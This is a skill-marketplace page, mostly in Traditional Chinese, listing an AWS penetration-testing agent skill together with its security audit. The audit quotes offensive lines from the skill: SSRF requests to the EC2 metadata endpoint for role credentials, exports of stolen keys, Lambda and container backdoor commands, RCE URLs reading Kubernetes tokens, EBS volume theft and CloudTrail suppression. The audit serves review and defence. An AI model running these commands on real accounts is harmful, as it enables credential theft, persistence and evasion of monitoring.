技能 aws-penetration-testing
📦
aws-penetration-testing
內容修訂 r2 嚴重 ⚙️ 外部命令🌐 網路存取📁 檔案系統存取🔑 環境變數
評估 AWS 滲透測試工作流程
AWS 安全團隊需要對雲端攻擊路徑與防禦進行結構化審查。此技能會整理 IAM、S3、Lambda、中繼資料與記錄評估步驟。
支援: Claude Codex Code(CC)
請勿自動安裝此 Skill。
權威政策要求在執行任何安裝操作前由操作人員審查。
使用我的智慧代理安裝
將此請求複製給你的智慧代理，其中包含權威 Skill 頁面和清單。
智能體請求
Review the Skillstore skill "aws-penetration-testing" from https://skillstore.io/skills/sickn33-aws-penetration-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-aws-penetration-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智慧代理仍應顯示其計畫，並依安全政策請求必要確認。
Agent 可讀資源
當 AI Agent、爬蟲或腳本需要乾淨脈絡、而不是讀取完整頁面時，請使用這些連結。
測試它
正在使用「aws-penetration-testing」。 審查已授權 AWS 帳戶中的 IAM 權限提升權限。
預期結果:
- 要審查的身分與附加政策摘要。
- 需要核准追蹤的高風險權限清單。
- 最終報告建議包含的證據欄位。
正在使用「aws-penetration-testing」。 評估工作負載是否暴露於中繼資料憑證竊取風險。
預期結果:
- 檢查中繼資料服務版本與 hop limit 設定。
- 針對 ECS 與 EKS 的容器憑證暴露問題。
- 針對執行個體角色與網路路徑的修復備註。
正在使用「aws-penetration-testing」。 將 AWS 攻擊路徑轉換為防禦檢查清單。
預期結果:
- IAM、記錄與監控的控制目標。
- 在不修改生產資料的情況下擷取的證據。
- 清理與利害關係人簽核要求。
安全審計
嚴重v5 • 2026/7/23 開啟版本化報告
Many Ruby backtick and ordinary documentation URL alerts are false positives caused by Markdown. Confirmed findings include metadata credential theft, privilege escalation, backdoors, secret retrieval, target-volume access, and defense evasion through CloudTrail suppression.
2
已掃描檔案
882
分析行數
43
複核項目
0
已忽略的誤報
已確認的安全問題 (27)
嚴重
[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
This combination is common in credential stealers and RATs
The combination is present in context: the skill teaches remote command execution, metadata credential theft, and network requests. The offensive workflow confirms the heuristic.
嚴重
Defense Evasion and Audit Suppression
The skill instructs users to delete or weaken CloudTrail and avoid GuardDuty detection. These actions impair monitoring and incident investigation.
The source explicitly labels covering tracks, gives CloudTrail deletion commands, and recommends user-agent changes or log obfuscation to avoid detection.
高
Malware type keywords
### Lambda Backdooring
This heading introduces a Lambda backdooring workflow, and the following code grants administrator policies. The context confirms offensive persistence intent.
高
Malware type keywords
# Update function with backdoor
The comment explicitly directs updating a Lambda with a backdoor. It is followed by an executable AWS CLI command.
高
Malware type keywords
aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip
The command replaces Lambda code with backdoor.zip. This can establish persistence and execute attacker-controlled code under the function role.
高
Malware type keywords
# Invoke backdoored function
The instruction invokes the function after backdoor deployment. This confirms the modified function is intended for active use.
高
Malware type keywords
### Container Backdooring
This section introduces container backdooring and provides build and push steps. The context confirms a persistence and supply-chain compromise technique.
高
Malware type keywords
# Build backdoored image
The command builds an image explicitly described as backdoored, before tagging and pushing it to ECR. This can compromise downstream deployments.
顯示全部 27 條已確認問題
高
System reconnaissance
aws secretsmanager get-secret-value --secret-id ID
The AWS CLI command retrieves a Secrets Manager value, not only metadata. In this offensive workflow it can disclose protected credentials or application secrets.
高
Malware type keywords
- Leave persistent backdoors without documentation
The constraint forbids only undocumented persistent backdoors, leaving documented persistence permitted. That wording does not prevent a high-risk persistence workflow.
高
System reconnaissance
--parameters commands="whoami"
The command sends whoami through AWS Systems Manager to a target instance. This is remote command execution used to validate host access.
高
[HEURISTIC] SUSPICIOUS COMBINATION: Filesystem + Credentials + Network
This combination could indicate credential harvesting and exfiltration
The skill combines target-volume mounting, process environment reads, credential extraction, and network access. The surrounding penetration workflow confirms the combined risk.
高
Explicit Compromise and Persistence Objectives
The declared deliverables include extracted credentials, compromised resources, and persistence mechanisms. This frames harmful outcomes as expected skill results.
The outputs section directly lists credential extraction, compromised EC2, Lambda, and S3 resources, and persistence mechanisms.
低
System reconnaissance
aws apigateway get-rest-api --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws apigateway get-resources --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws apigateway get-stages --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws secretsmanager describe-secret --secret-id NAME
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws secretsmanager get-resource-policy --secret-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws kms describe-key --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws kms list-key-policies --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws kms get-key-policy --policy-name NAME --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws ssm list-command-invocations --command-id "CMD-ID" \
The command retrieves output from a remotely executed SSM command. It supports target-host command execution and result collection.
低
System reconnaissance
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
低
System reconnaissance
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
低
System reconnaissance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
能力複核項目 (43)
這些是真實的本機能力，對此技能而言可能是預期行為，因此需要複核，但不會按已確認的惡意行為計分。
嚴重
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
嚴重
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
嚴重
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
嚴重
AWS/Azure metadata endpoint
"http://169.254.169.254/latest/api/token")
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
嚴重
AWS/Azure metadata endpoint
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
嚴重
AWS/Azure metadata endpoint
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
嚴重
AWS/Azure metadata endpoint
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
嚴重
AWS/Azure metadata endpoint
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
高
Linux /proc filesystem access
https://apigateway/prod/system?cmd=file:///proc/self/environ
The file-read payload targets /proc/self/environ to expose process environment values. In Lambda, those values may include credentials and secrets.
高
Shell command substitution
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
The shell command requests an IMDSv2 token and stores it for metadata credential requests. The surrounding workflow explicitly targets temporary AWS credentials.
高
sudo privilege escalation
sudo mkdir /mnt/stolen
The command uses sudo to create a mount point named stolen in an EBS extraction workflow. It requires elevated local privileges.
高
sudo privilege escalation
sudo mount /dev/xvdf1 /mnt/stolen
The command uses sudo to mount a target EBS volume under /mnt/stolen. This enables privileged access to another system's disk contents.
高
Linux /proc filesystem access
/proc/self/environ
The instructions read /proc/self/environ specifically to locate a container credential path. This can expose credentials from the running workload.
高
Non-standard device file access
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
The command attaches a copied target volume as /dev/xvdf in an exploitation workflow. This prepares access to another instance's data.
高
Non-standard device file access
sudo mount /dev/xvdf1 /mnt/stolen
The command mounts /dev/xvdf1 under /mnt/stolen. The surrounding steps explicitly use the device to access target disk contents.
高
AWS credential environment variables
export AWS_ACCESS_KEY_ID=ASIA...
The workflow exports an access key obtained through metadata SSRF. Even with placeholder text, it directs use of stolen temporary credentials.
高
AWS credential environment variables
export AWS_SECRET_ACCESS_KEY=...
The workflow exports the secret access key from stolen metadata credentials. This is credential handling in an offensive access sequence.
高
AWS credential environment variables
export AWS_SESSION_TOKEN=...
The workflow exports the stolen session token before verifying account access. This completes a usable temporary AWS credential set.
中
Shell command substitution
TOKEN=$(aws rds generate-db-auth-token \
The code block executes AWS CLI and stores an RDS authentication token for a database connection. It is operational shell guidance, although arguments are placeholders.
中
Hardcoded IP address
http://169.254.169.254/latest/meta-data/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
"http://169.254.169.254/latest/api/token")
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
低
Hardcoded URL
https://apigateway/prod/system?cmd=env
The example URL invokes a command endpoint to return environment variables. Following this pattern can expose credentials and secrets from a target Lambda.
低
Hardcoded URL
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
The example uses SSRF to reach Lambda's local runtime API. This is an offensive request pattern against an internal service.
低
Hardcoded URL
https://apigateway/prod/system?cmd=file:///proc/self/environ
The URL combines command execution and a file read of /proc/self/environ. It is intended to disclose process environment data.
低
Hardcoded URL
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
The curl target invokes the API endpoint immediately after instructions to deploy a backdoored Lambda. The network request activates that modified function.
低
Hardcoded URL
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
The URL sends an RCE command that lists Kubernetes service-account secret files. This is an actionable credential-discovery technique.
低
Hardcoded URL
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
The URL sends an RCE command that reads a Kubernetes service-account token. This directly retrieves an authentication secret.
低
Hardcoded URL
http://169.254.169.254/latest/meta-data/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
"http://169.254.169.254/latest/api/token")
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
風險因素
⚙️ 外部命令 (50)
references/advanced-aws-pentesting.md:353-357 SKILL.md:40 SKILL.md:41 SKILL.md:42 SKILL.md:43 SKILL.md:44 SKILL.md:45 SKILL.md:55-67 SKILL.md:67-71 SKILL.md:71-91 SKILL.md:91-97 SKILL.md:97-114 SKILL.md:114-118 SKILL.md:118-126 SKILL.md:126-130 SKILL.md:130-137 SKILL.md:137-149 SKILL.md:149-150 SKILL.md:150-151 SKILL.md:151-152 SKILL.md:152-153 SKILL.md:153-154 SKILL.md:154 SKILL.md:155-159 SKILL.md:159-161 SKILL.md:161-165 SKILL.md:165-168 SKILL.md:168-172 SKILL.md:172-176 SKILL.md:176-180 SKILL.md:180-191 SKILL.md:191-193 SKILL.md:193-197 SKILL.md:197-205 SKILL.md:205-213 SKILL.md:213-217 SKILL.md:217-226 SKILL.md:226-230 SKILL.md:230-232 SKILL.md:232-238 SKILL.md:238-248 SKILL.md:248-256 SKILL.md:256-268 SKILL.md:268-276 SKILL.md:276-289 SKILL.md:289-293 SKILL.md:293-300 SKILL.md:300-308 SKILL.md:308-313 SKILL.md:313-321
🌐 網路存取 (41)
references/advanced-aws-pentesting.md:40 references/advanced-aws-pentesting.md:61 references/advanced-aws-pentesting.md:68 references/advanced-aws-pentesting.md:149 references/advanced-aws-pentesting.md:152 references/advanced-aws-pentesting.md:155 references/advanced-aws-pentesting.md:183 references/advanced-aws-pentesting.md:313 references/advanced-aws-pentesting.md:316 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:348 SKILL.md:377 SKILL.md:381 SKILL.md:40 SKILL.md:44 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:136 SKILL.md:211 SKILL.md:212 SKILL.md:231 SKILL.md:309 SKILL.md:348 SKILL.md:377 SKILL.md:381 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:136 SKILL.md:348 SKILL.md:377 SKILL.md:381
📁 檔案系統存取 (5)
🔑 環境變數 (3)
偵測到的模式
Malware type keywords×7System reconnaissance×16[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
審計單位: codex 檢視審計紀錄 →
分享與引用此報告
分享版本化評估報告、中性徽章、嵌入卡片與引用。Skillstore 只報告證據，不判斷該 Skill 是否安全。
複製報告連結
https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-aws-penetration-testing?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-aws-penetration-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-aws-penetration-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-aws-penetration-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>學術引用 (APA · BibTeX · CFF)
APA 引用
zebbern. (2026). aws-penetration-testing security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5BibTeX 引用
@techreport{zebbern-sickn33-aws-penetration-testing-2026,
author = {zebbern},
title = {aws-penetration-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "aws-penetration-testing security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-aws-penetration-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore 評分
評分依據 證據置信度: 中 41
架構
85
可維護性
87
內容
69
社群
83
規範符合度
你可以打造什麼
規劃已授權的雲端評估
建立有範圍界定的 AWS 測試計畫，涵蓋身分、儲存、運算與記錄控制項。
審查 IAM 暴露風險
識別可能允許權限提升或非預期憑證存取的權限。
建立防禦驗證檢查清單
將攻擊路徑轉換為中繼資料保護、監控與事件應變準備度的檢查項目。
試試這些提示
映射 AWS 身分範圍
我有書面授權可評估此 AWS 帳戶。請協助我規劃唯讀 IAM 列舉工作流程，並列出要收集的證據。
審查 S3 暴露風險
針對範圍內的 AWS 帳戶，請協助我審查 S3 儲存貯體暴露風險、公開存取設定，以及安全的證據收集步驟。
驗證中繼資料保護
請協助我在已授權測試中，評估 EC2、ECS 與 EKS 工作負載是否受到保護，避免中繼資料憑證暴露。
評估攻擊路徑控制項
建立一份防禦驗證計畫，涵蓋 IAM 權限提升、Lambda 濫用、SSM 命令執行、EBS 存取與 CloudTrail 監控。
最佳實務
- 在任何測試前確認書面授權、範圍與緊急聯絡人。
- 當可能影響生產環境時，優先採用唯讀檢查與實驗室模擬。
- 記錄命令、時間戳記、帳戶與清理步驟，以利稽核。
避免
- 未取得明確核准時，不要測試 AWS 帳戶或資源。
- 不要在核准流程之外擷取、重複使用或儲存憑證。
- 不要為了避免警示而在生產環境停用記錄或監控。
常見問題
誰應該使用此技能？
僅應用於已授權的 AWS 安全評估、紅隊演練或防禦性雲端審查。
它會自動執行 AWS 命令嗎？
不會。它提供指引與範例，必須由合格操作人員在使用前審查。
可以用於生產帳戶嗎？
只有在已核准範圍、變更控制、監控認知與回復計畫都具備時才可以。
它涵蓋哪些 AWS 領域？
它涵蓋 IAM、S3、Lambda、SSM、EC2、中繼資料服務、secrets、KMS、容器與 VPC 審查。
主要風險是什麼？
此材料包含可能暴露憑證、提升權限並干擾安全監控的技術。
團隊應如何使用輸出？
將其視為評估規劃材料，並在可行時將高風險步驟轉換為防禦檢查。
開發者詳細資訊
作者
zebbern授權
MIT
Skillstore 修訂
r2
版本提示
作者未聲明版本。
引用
86d877f219e2131f05dd5b37c5e329c71c7b8ec4
維護新鮮度
2026/7/26
使用量
9 次下載 · 121 次瀏覽
檔案結構